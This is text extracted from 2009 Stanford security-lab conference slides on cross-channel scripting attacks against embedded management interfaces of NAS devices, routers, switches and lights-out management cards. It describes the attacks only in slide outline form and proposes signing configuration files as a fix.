S t a n f

  • r

d C

  • m

p u t e r S e c u r i t y L a b

One more thing

Thursday, July 30, 2009

slide-136
SLIDE 136

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

SOHO NAS

  • Buffalo LS-CHL
  • BitTorrent support!

Another boring NAS device?

Thursday, July 30, 2009

slide-137
SLIDE 137

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Massive exploitation

Internet

Thursday, July 30, 2009

slide-138
SLIDE 138

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Massive exploitation

Internet

Create a bad torrent Famous_movie.torrent

Thursday, July 30, 2009

slide-139
SLIDE 139

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Massive exploitation

Internet

Thursday, July 30, 2009

slide-140
SLIDE 140

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Massive exploitation

Internet

Thursday, July 30, 2009

slide-141
SLIDE 141

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Massive exploitation

Internet

takeover

Thursday, July 30, 2009

slide-142
SLIDE 142

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Massive exploitation

Internet

takeover takeover

Thursday, July 30, 2009

slide-143
SLIDE 143

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

Peer-to-peer XCS attack result

Thursday, July 30, 2009

slide-144
SLIDE 144

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Conclusion

  • Sticky technology
  • Standardize...

remote access firmware upgrade rendering to HTML configuration backup

Thanks to Eric Lovett and Parks Associates!

Thursday, July 30, 2009

slide-145
SLIDE 145

S t a n f

  • r

d C

  • m

p u t e r S e c u r i t y L a b

Questions?

http://seclab.stanford.edu

Thursday, July 30, 2009

slide-146
SLIDE 146

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

WiFi router

  • Linksys WRT54G2
  • Standard features
  • Config backup

Configuration file XCS

Mature technology...

Thursday, July 30, 2009

slide-147
SLIDE 147

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Configuration file XCS

Thursday, July 30, 2009

slide-148
SLIDE 148

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Configuration file XCS

Configuration file Save file

Thursday, July 30, 2009

slide-149
SLIDE 149

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Configuration file XCS

Configuration file Tampering with the file Save file

Thursday, July 30, 2009

slide-150
SLIDE 150

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Configuration file XCS

Configuration file Tampering with the file Save file

Thursday, July 30, 2009

slide-151
SLIDE 151

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Configuration file XCS

Configuration file Tampering with the file Save file Restore file

Thursday, July 30, 2009

slide-152
SLIDE 152

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

Configuration file XCS attack result

Thursday, July 30, 2009

slide-153
SLIDE 153

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

An easy fix

Thursday, July 30, 2009

slide-154
SLIDE 154

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

An easy fix

Sign with a device private key !

Thursday, July 30, 2009

slide-155
SLIDE 155

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

An easy fix

Sign with a device private key !

Thursday, July 30, 2009

slide-156
SLIDE 156

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

What about arbitrary file inclusion?

Thursday, July 30, 2009

slide-157
SLIDE 157

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

What about arbitrary file inclusion?

Thursday, July 30, 2009

slide-158
SLIDE 158

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

What about arbitrary file inclusion?

Thursday, July 30, 2009

slide-159
SLIDE 159

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

More attacks: Switches

Netgear switch Trendnet switch

Thursday, July 30, 2009

slide-160
SLIDE 160

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

More attacks: LOM

IBM RSA II Intel vPro/AMT

Thursday, July 30, 2009